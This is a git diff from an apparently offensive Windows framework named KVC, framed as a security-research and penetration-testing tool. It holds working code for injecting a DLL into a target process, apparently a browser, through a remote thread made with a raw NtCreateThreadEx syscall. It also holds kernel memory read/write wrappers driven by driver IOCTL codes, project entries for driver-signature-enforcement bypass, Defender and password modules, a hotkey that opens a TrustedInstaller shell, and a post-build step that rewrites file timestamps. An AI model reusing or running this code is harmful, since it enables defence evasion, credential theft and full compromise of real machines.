file.read(reinterpret_cast<char*>(m_moduleBuffer.data()), fileSize);
if (!file)
throw std::runtime_error("Failed to read security module: " + modulePath);
m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath);
}
// Manually parses PE export table to locate entry point
DWORD InjectionManager::getInitializeSecurityContextOffset()
{
auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_moduleBuffer.data());
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return 0;
auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
return 0;
auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (exportDirRva == 0)
return 0;
// Converts RVA to file offset using section headers
auto RvaToOffset = [&](DWORD rva) -> PVOID
{
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
{
if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
{
return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress));
}
}
return nullptr;
};
auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
if (!exportDir) return 0;
auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
if (!names || !ordinals || !funcs) return 0;
// Search for specific export by name
for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
{
char* funcName = (char*)RvaToOffset(names[i]);
if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0)
{
PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
if (!funcOffsetPtr) return 0;
return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data());
}
}
return 0;
}
// Creates remote thread at calculated entry point
void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
{
m_console.Debug("Creating new thread in target to execute InitializeSecurityContext.");
uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteModuleBase) + rdiOffset;
HANDLE hRemoteThread = nullptr;
NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
(LPTHREAD_START_ROUTINE)entryPoint, remotePipeNameAddr, 0, 0, 0, 0, nullptr);
UniqueHandle remoteThreadGuard(hRemoteThread);
if (!NT_SUCCESS(status))
throw std::runtime_error("NtCreateThreadEx failed: " + Utils::NtStatusToString(status));
m_console.Debug("Successfully created new thread for security module.");
}

35
kvc/InjectionEngine.h Normal file
View File

@@ -0,0 +1,35 @@
// InjectionEngine.h - PE injection and remote execution management
#ifndef INJECTION_ENGINE_H
#define INJECTION_ENGINE_H
#include <Windows.h>
#include <vector>
#include <string>
#include "BrowserProcessManager.h"
#include "CommunicationLayer.h"
// Handles DLL injection and remote thread execution
class InjectionManager
{
public:
InjectionManager(TargetProcess& target, const Console& console);
// Performs complete injection workflow: load, parse, inject, execute
void execute(const std::wstring& pipeName);
private:
// Loads security module from disk into memory buffer
void loadSecurityModuleFromFile(const std::string& modulePath);
// Parses PE export table to find entry point offset
DWORD getInitializeSecurityContextOffset();
// Creates remote thread to execute injected code
void startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr);
TargetProcess& m_target;
const Console& m_console;
std::vector<BYTE> m_moduleBuffer;
};
#endif // INJECTION_ENGINE_H

View File

@@ -1,28 +1,3 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
#include "KeyboardHook.h"
#include "TrustedInstallerIntegrator.h"
#include "common.h"

View File

@@ -1,28 +1,32 @@
// KeyboardHook.h - Low-level keyboard hook for detecting keys sequence,
#pragma once
#include "common.h"
#include <chrono>
#include <vector>
// Low-level keyboard hook for 5x Left Ctrl sequence detection
/**
* KeyboardHook
* Detects 5x Left Ctrl sequence and triggers TrustedInstaller cmd
*/
class KeyboardHook
{
public:
KeyboardHook();
~KeyboardHook();
KeyboardHook(); ///< Construct hook manager
~KeyboardHook(); ///< Destructor, removes hook
KeyboardHook(const KeyboardHook&) = delete;
KeyboardHook& operator=(const KeyboardHook&) = delete;
// Hook management
bool Install() noexcept;
void Uninstall() noexcept;
bool Install() noexcept; ///< Install global low-level keyboard hook
void Uninstall() noexcept;///< Uninstall hook
bool IsInstalled() const noexcept { return m_hookHandle != nullptr; }
// Configuration
static constexpr int SEQUENCE_LENGTH = 5; // 5x Left Ctrl presses
static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; // 2 second window
static constexpr DWORD DEBOUNCE_MS = 50; // Debounce period
static constexpr int SEQUENCE_LENGTH = 5; ///< Number of Ctrl presses
static constexpr DWORD SEQUENCE_TIMEOUT_MS = 2000; ///< Sequence window in ms
static constexpr DWORD DEBOUNCE_MS = 50; ///< Debounce period in ms
private:
// Hook callback
@@ -30,21 +34,19 @@ private:
// Sequence tracking
struct KeyPress {
std::chrono::steady_clock::time_point timestamp;
bool isPress; // true for key down, false for key up
std::chrono::steady_clock::time_point timestamp; ///< Event time
bool isPress; ///< true = key down
};
static HHOOK m_hookHandle;
static std::vector<KeyPress> m_leftCtrlSequence;
static std::chrono::steady_clock::time_point m_lastKeyTime;
static HHOOK m_hookHandle; ///< Hook handle
static std::vector<KeyPress> m_leftCtrlSequence; ///< Ctrl press buffer
static std::chrono::steady_clock::time_point m_lastKeyTime; ///< Last event time
// Internal logic
static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept;
static bool CheckSequenceComplete() noexcept;
static void ClearOldEntries() noexcept;
static void TriggerTrustedInstallerCmd() noexcept;
static bool LaunchCmdWithTrustedInstaller() noexcept;
// Debugging and logging
static void LogSequenceState() noexcept;
static void ProcessLeftCtrlEvent(bool isKeyDown) noexcept; ///< Handle key event
static bool CheckSequenceComplete() noexcept; ///< Check sequence validity
static void ClearOldEntries() noexcept; ///< Remove expired presses
static void TriggerTrustedInstallerCmd() noexcept; ///< Launch cmd with TI
static bool LaunchCmdWithTrustedInstaller() noexcept; ///< TrustedInstaller cmd execution
static void LogSequenceState() noexcept; ///< Debug sequence state
};

File diff suppressed because it is too large Load Diff

View File

@@ -27,9 +27,10 @@
<UseOfMfc>false</UseOfMfc>
<CLRSupport>false</CLRSupport>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
@@ -50,62 +51,71 @@
<SOURCE_DATE_EPOCH>1756665900</SOURCE_DATE_EPOCH>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;NOMINMAX;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<LanguageStandardVersion>latest</LanguageStandardVersion>
<EnableModules>false</EnableModules>
<ScanSourceForModuleDependencies>false</ScanSourceForModuleDependencies>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<ExceptionHandling>Sync</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<MinimalRebuild>false</MinimalRebuild>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<TreatWarningAsError>false</TreatWarningAsError>
<DisableSpecificWarnings>4996;4117</DisableSpecificWarnings>
<Optimization>MaxSpeed</Optimization>
<WholeProgramOptimization>true</WholeProgramOptimization>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
<BrowseInformation>false</BrowseInformation>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AdditionalDependencies>kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
<RandomizedBaseAddress>true</RandomizedBaseAddress>
<DataExecutionPrevention>true</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine>
<SetChecksum>false</SetChecksum>
<LargeAddressAware>true</LargeAddressAware>
<StripPrivateSymbols>true</StripPrivateSymbols>
<AllowIsolation>true</AllowIsolation>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;NOMINMAX;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<LanguageStandardVersion>latest</LanguageStandardVersion>
<EnableModules>false</EnableModules>
<ScanSourceForModuleDependencies>false</ScanSourceForModuleDependencies>
<!-- ZMIENIONE: Usunięto /GL, dodano /Os -->
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Os /Brepro %(AdditionalOptions)</AdditionalOptions>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<ExceptionHandling>Sync</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<MinimalRebuild>false</MinimalRebuild>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<TreatWarningAsError>false</TreatWarningAsError>
<DisableSpecificWarnings>4996;4117</DisableSpecificWarnings>
<!-- ZMIENIONE: Optymalizacja pod rozmiar -->
<Optimization>MinSpace</Optimization>
<!-- ZMIENIONE: Wyłączone Whole Program Optimization -->
<WholeProgramOptimization>false</WholeProgramOptimization>
<!-- ZMIENIONE: Priorytet rozmiaru -->
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
<BrowseInformation>false</BrowseInformation>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<!-- ZMIENIONE: Wyłączone LTO -->
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
<AdditionalDependencies>kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<!-- ZMIENIONE: Dodano INCREMENTAL:NO, poprawiono ICF -->
<AdditionalOptions>/OPT:REF /OPT:ICF=10 /MERGE:.rdata=.text /MERGE:.pdata=.text /NXCOMPAT /INCREMENTAL:NO /Brepro %(AdditionalOptions)</AdditionalOptions>
<!-- USUNIĘTE: Zduplikowane LinkTimeCodeGeneration -->
<RandomizedBaseAddress>true</RandomizedBaseAddress>
<DataExecutionPrevention>true</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine>
<SetChecksum>false</SetChecksum>
<LargeAddressAware>true</LargeAddressAware>
<StripPrivateSymbols>true</StripPrivateSymbols>
<AllowIsolation>true</AllowIsolation>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<!-- Source Files -->
<ItemGroup>
<ClCompile Include="TrustedInstallerIntegrator.cpp" />
<ClCompile Include="ControllerCore.cpp" />
<ClCompile Include="DSEBypass.cpp" />
<ClCompile Include="ControllerDSE.cpp" />
<ClCompile Include="ControllerBinaryManager.cpp" />
<ClCompile Include="ControllerDriverManager.cpp" />
<ClCompile Include="ControllerProcessOperations.cpp" />
@@ -113,13 +123,18 @@
<ClCompile Include="ControllerSystemIntegration.cpp" />
<ClCompile Include="ControllerPasswordManager.cpp" />
<ClCompile Include="ControllerEventLogOperations.cpp" />
<ClCompile Include="ProcessManager.cpp" />
<ClCompile Include="OffsetFinder.cpp" />
<ClCompile Include="kvc.cpp" />
<ClCompile Include="kvcDrv.cpp" />
<ClCompile Include="Utils.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="WatermarkManager.cpp" />
<ClCompile Include="HiveManager.cpp" />
<ClCompile Include="ReportExporter.cpp" />
<ClCompile Include="SessionManager.cpp" />
<ClCompile Include="ServiceManager.cpp" />
<ClCompile Include="DefenderManager.cpp" />
<ClCompile Include="KeyboardHook.cpp" />
<ClCompile Include="HelpSystem.cpp" />
</ItemGroup>
@@ -129,16 +144,25 @@
<ClInclude Include="resource.h" />
<ClInclude Include="TrustedInstallerIntegrator.h" />
<ClInclude Include="common.h" />
<ClInclude Include="DSEBypass.h" />
<ClInclude Include="Controller.h" />
<ClInclude Include="OffsetFinder.h" />
<ClInclude Include="kvcDrv.h" />
<ClInclude Include="Utils.h" />
<ClInclude Include="ReportExporter.h" />
<ClInclude Include="ServiceManager.h" />
<ClInclude Include="KeyboardHook.h" />
<ClInclude Include="HelpSystem.h" />
<ClInclude Include="WatermarkManager.h" />
<ClInclude Include="HiveManager.h" />
<ClInclude Include="ReportExporter.h" />
<ClInclude Include="SessionManager.h" />
<ClInclude Include="ServiceManager.h" />
<ClInclude Include="KeyboardHook.h" />
<ClInclude Include="HelpSystem.h" />
<ClInclude Include="DefenderManager.h" />
<ClInclude Include="ProcessManager.h" />
</ItemGroup>
<ItemGroup>
<MASM Include="MmPoolTelemetry.asm" />
<MASM Include="ScreenShake.asm" />
</ItemGroup>
<!-- Resource Files -->
<ItemGroup>
<Image Include="ICON\kvc.ico" />
@@ -149,5 +173,6 @@
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@@ -17,81 +17,144 @@
<UniqueIdentifier>{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kvc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="OffsetFinder.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="kvcDrv.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Common.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="TrustedInstallerIntegrator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ReportExporter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ControllerCore.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerDriverManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerProcessOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerMemoryOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerSystemIntegration.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerPasswordManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="OffsetFinder.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="kvcDrv.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Controller.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="TrustedInstallerIntegrator.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReportExporter.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico">
<Filter>Resource Files</Filter>
</Image>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kvc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="OffsetFinder.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="kvcDrv.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Common.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="TrustedInstallerIntegrator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ReportExporter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ControllerCore.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerDriverManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerProcessOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerMemoryOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerSystemIntegration.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerPasswordManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="DSEBypass.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ControllerDSE.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerBinaryManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerEventLogOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ProcessManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="WatermarkManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HiveManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="SessionManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ServiceManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="DefenderManager.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KeyboardHook.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="HelpSystem.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="OffsetFinder.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="kvcDrv.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Controller.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="TrustedInstallerIntegrator.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReportExporter.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DSEBypass.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="WatermarkManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="HiveManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="SessionManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ServiceManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="KeyboardHook.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="HelpSystem.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="DefenderManager.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ProcessManager.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico">
<Filter>Resource Files</Filter>
</Image>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

View File

@@ -1,169 +1,273 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
// KVC kernel driver communication implementation- Implements low-level IOCTL communication with the KVC kernel driver
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// KvcDrv.cpp
#include "kvcDrv.h"
#include "common.h"
#include <format>
// IOCTL command codes for KVC driver communication
// ============================================================================
// IOCTL COMMAND CODES (DRIVER-SPECIFIC)
// ============================================================================
// IOCTL code for kernel memory read operations
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
// IOCTL code for kernel memory write operations
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
// ============================================================================
// CONSTRUCTION AND DESTRUCTION
// ============================================================================
// Default constructor - initializes empty driver object
kvc::kvc() = default;
kvc::~kvc() {
// Destructor - ensures proper resource cleanup
kvc::~kvc()
{
Cleanup();
}
// Force cleanup for atomic driver operations - critical for stability
void kvc::Cleanup() noexcept {
// ============================================================================
// DRIVER CONNECTION MANAGEMENT
// ============================================================================
// Cleans up driver resources by flushing buffers, closing handle and clearing device name
void kvc::Cleanup() noexcept
{
DEBUG(L"kvc::Cleanup() called");
if (m_deviceHandle) {
DEBUG(L"Closing device handle...");
// Force the handle to close
// Flush buffers before closing to prevent data loss
FlushFileBuffers(m_deviceHandle.get());
m_deviceHandle.reset(); // This should close the handle
// Reset smart handle - automatically closes via HandleDeleter
m_deviceHandle.reset();
}
m_deviceName.clear();
DEBUG(L"kvc cleanup completed");
}
bool kvc::IsConnected() const noexcept {
// Checks if driver connection is active
bool kvc::IsConnected() const noexcept
{
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
}
// Driver connection establishment with device path
bool kvc::Initialize() noexcept {
// Establishes connection to KVC kernel driver by opening device handle with read/write access
bool kvc::Initialize() noexcept
{
// Idempotent check - return early if already connected
if (IsConnected()) {
return true;
}
// Construct device name if not set
if (m_deviceName.empty()) {
m_deviceName = L"\\\\.\\" + GetServiceName();
}
if (!InitDynamicAPIs()) return false;
// SIMPLE DEVICE OPEN - without test operations
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING, 0, nullptr);
if (rawHandle == INVALID_HANDLE_VALUE) {
return false; // Silently fail - this is normal when the driver is not running
// Initialize dynamic APIs (required for CreateFileW pointer)
if (!InitDynamicAPIs()) {
DEBUG(L"Failed to initialize dynamic APIs");
return false;
}
// Open driver device with read/write access
HANDLE rawHandle = g_pCreateFileW(
m_deviceName.c_str(),
GENERIC_READ | GENERIC_WRITE,
0, // No sharing
nullptr, // Default security
OPEN_EXISTING, // Device must exist
0, // No special flags
nullptr // No template
);
// Silent failure if driver not loaded - this is expected behavior
if (rawHandle == INVALID_HANDLE_VALUE) {
DEBUG(L"Failed to open driver device: %s (error: %d)",
m_deviceName.c_str(), GetLastError());
return false;
}
// Wrap raw handle in smart pointer for automatic cleanup
m_deviceHandle = UniqueHandle(rawHandle);
DEBUG(L"Successfully opened driver device: %s", m_deviceName.c_str());
return true;
}
// Memory read operations with type safety
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
// ============================================================================
// MEMORY READ OPERATIONS (TYPE-SAFE WRAPPERS)
// ============================================================================
// Reads 8-bit value from kernel memory by extracting lowest byte from 32-bit read
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept
{
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<BYTE>(value.value() & 0xff);
if (!value.has_value()) {
return std::nullopt;
}
return static_cast<BYTE>(value.value() & 0xFF);
}
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
// Reads 16-bit value from kernel memory by extracting lowest 2 bytes from 32-bit read
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept
{
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<WORD>(value.value() & 0xffff);
if (!value.has_value()) {
return std::nullopt;
}
return static_cast<WORD>(value.value() & 0xFFFF);
}
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
// Reads 32-bit value from kernel memory via direct IOCTL call
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept
{
return Read(address, sizeof(DWORD));
}
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
// Reads 64-bit value from kernel memory by performing two 32-bit reads and combining them
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept
{
auto low = Read32(address);
auto high = Read32(address + 4);
if (!low || !high) return std::nullopt;
if (!low || !high) {
return std::nullopt;
}
// Combine low and high DWORDs into QWORD
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
}
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
// Reads pointer-sized value from kernel memory (64-bit on x64, 32-bit on x86)
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept
{
#ifdef _WIN64
auto value = Read64(address);
if (!value.has_value()) return std::nullopt;
if (!value.has_value()) {
return std::nullopt;
}
return static_cast<ULONG_PTR>(value.value());
#else
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
if (!value.has_value()) {
return std::nullopt;
}
return static_cast<ULONG_PTR>(value.value());
#endif
}
// Memory write operations with type safety
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
// ============================================================================
// MEMORY WRITE OPERATIONS (TYPE-SAFE WRAPPERS)
// ============================================================================
// Writes 8-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept
{
return Write(address, sizeof(value), value);
}
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
// Writes 16-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept
{
return Write(address, sizeof(value), value);
}
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
// Writes 32-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept
{
return Write(address, sizeof(value), value);
}
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
DWORD low = static_cast<DWORD>(value & 0xffffffff);
